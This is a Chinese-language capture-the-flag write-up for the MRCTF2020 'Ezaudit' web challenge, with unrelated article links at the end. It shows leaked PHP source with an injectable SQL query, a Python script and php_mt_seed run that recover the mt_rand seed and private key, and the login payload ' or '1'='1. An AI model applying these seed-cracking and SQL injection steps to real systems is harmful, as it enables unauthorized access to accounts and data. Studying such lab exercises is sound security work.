当前位置:网站首页>[MRCTF2020]Ezaudit
[MRCTF2020]Ezaudit
2022-07-30 16:43:00 【茶经新读.】
[MRCTF2020]Ezaudit

页面没有发现什么东西,点击各种按钮也没发现什么,dirsearch扫描一下发现了www.zip

下载下来解压得到一个index.php,查看获得源码
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???审计代码得知有login.html,想要登陆的话需要用户名、密码、密钥,并且用户名必须为crisper,密码可以随意输入但是不能为空,可以用万能密码' or '1'='1
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 密钥的话,审计代码看到了mt_rand()和最下面的公钥KVQP0LdJKRaV3n9D,php伪随机数漏洞,先使用脚本爆出来随机数:
str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
res =''
length = str(len(str2)-1)
for i in range(len(str1)):
for j in range(len(str2)):
if str1[i] == str2[j]:
res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(res)![]()
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
然后用php_mt_seed爆出种子:

1775196155,然后就脚本生成私钥(要求php版本再5.2.1到7.0.x之间,PHP在线运行 - TOOLFK工具网):
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key() . "<br>";
echo private_key();
?>
XuNhoueCDCGc,然后进入login.html
![]()


边栏推荐
猜你喜欢

SMI 与 Gateway API 的 GAMMA 倡议意味着什么?

Moonbeam创始人解读多链新概念Connected Contract

Go新项目-编译热加载使用和对比,让开发更自由(3)

Discuz magazine/news report template (jeavi_line) UTF8-GBK template

安全业务收入增速超70% 三六零筑牢数字安全龙头

Qt 容器控件之Tab Widget 使用详解

PHP message feedback management system source code

How to remove first character from php string

DTSE Tech Talk丨Phase 2: 1 hour in-depth interpretation of SaaS application system design

说几个大厂分库分表的那点破事。
随机推荐
疫情之下的裁员浪潮,7点建议帮你斩获心仪offer
Goland opens file saving and automatically formats
3D激光SLAM:LeGO-LOAM论文解读---实验对比
04、Activity的基本使用
Visual Studio编辑器 2019:scanf函数返回值被忽略(C4996)报错及解决办法
C#西门子S7 协议通过偏移量的方式读写PLC DB块
[NCTF2019]Fake XML cookbook-1|XXE漏洞|XXE信息介绍
完美绕开CRC32检测的无痕hook
PCIE下载的驱动安装
Security business revenue growth rate exceeds 70% 360 builds digital security leader
Discuz magazine/news report template (jeavi_line) UTF8-GBK template
Public Key Retrieval is not allowed报错解决方案
Invalid or corrupt jarfile xxx.jar
DTSE Tech Talk丨第2期:1小时深度解读SaaS应用系统设计
Mysql进阶优化篇01——四万字详解数据库性能分析工具(深入、全面、详细,收藏备用)
报错500,“message“: “nested exception is org.apache.ibatis.binding.BindingException: 解决记录
如何写一份高可读性的软件工程设计文档
静态网页和动态网页的不同之处;该如何选择服务器呢
【SOC】Classic output hello world
云风:不加班、不炫技,把复杂的问题简单化